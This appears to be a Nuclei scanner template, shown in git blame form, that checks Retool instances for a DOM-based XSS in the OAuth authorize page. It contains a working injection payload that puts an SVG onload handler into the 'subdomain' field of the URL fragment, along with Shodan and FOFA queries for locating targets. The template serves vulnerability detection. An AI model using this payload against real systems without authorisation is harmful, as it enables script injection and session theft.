2024-09-05 18:31:12 +00:00
|
|
|
id: retool-dom-xss
|
|
|
|
|
|
|
|
|
|
info:
|
|
|
|
|
name: Retool <3.82.0 Edge OAuth Authorize - DOM Based XSS
|
|
|
|
|
author: rootxharsh,iamnoooob,pdresearch
|
|
|
|
|
severity: high
|
|
|
|
|
description: |
|
|
|
|
|
Retool versions less than 3.82.0-Edge are vulnerable to a DOM-based XSS vulnerability in the OAuth authorization flow.
|
|
|
|
|
metadata:
|
|
|
|
|
verified: true
|
|
|
|
|
max-request: 1
|
|
|
|
|
shodan-query: title:"Retool"
|
|
|
|
|
fofa-query: body="Retool"
|
|
|
|
|
tags: headless,retool,dom,xss
|
|
|
|
|
|
|
|
|
|
headless:
|
|
|
|
|
- steps:
|
|
|
|
|
- args:
|
2024-09-05 18:33:35 +00:00
|
|
|
url: '{{BaseURL}}/oauth/authorize#%7B%20"redirectUri":%20"zzz",%20"resourceId":%20"fff",%20"resourceName":%20"aa",%20"resourceType":%20"azz",%20"userEmail":%20"aaa@aa.com",%20"userFirstName":%20"zzz",%20"userLastName":%20"zzff",%20"xsrfToken":%20"x","subdomain":"aaa<svg/onload=prompt(document.domain)>aaaa","accessToken":"ab"%20%7D'
|
2024-09-05 18:31:12 +00:00
|
|
|
action: navigate
|
|
|
|
|
|
|
|
|
|
- action: waitdialog
|
|
|
|
|
name: subdomain_object_dom
|
|
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: dsl
|
|
|
|
|
dsl:
|
|
|
|
|
- subdomain_object_dom == true
|
|
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
|
part: body
|
|
|
|
|
words:
|
|
|
|
|
- "retool"
|
|
|
|
|
case-insensitive: true
|
2024-09-06 12:27:59 +00:00
|
|
|
|
|
|
|
|
# digest: 4a0a00473045022100ad6e82c9017f09387c040db822f456121fa01b5f65f9d92e6a7d8e2006a99e3902207832dd0e1a2619a7abf73eb6f9919eceeed3677f034f4a2437a43aae81fa9b03:922c64590222798bb761d5b6d8e72950
|
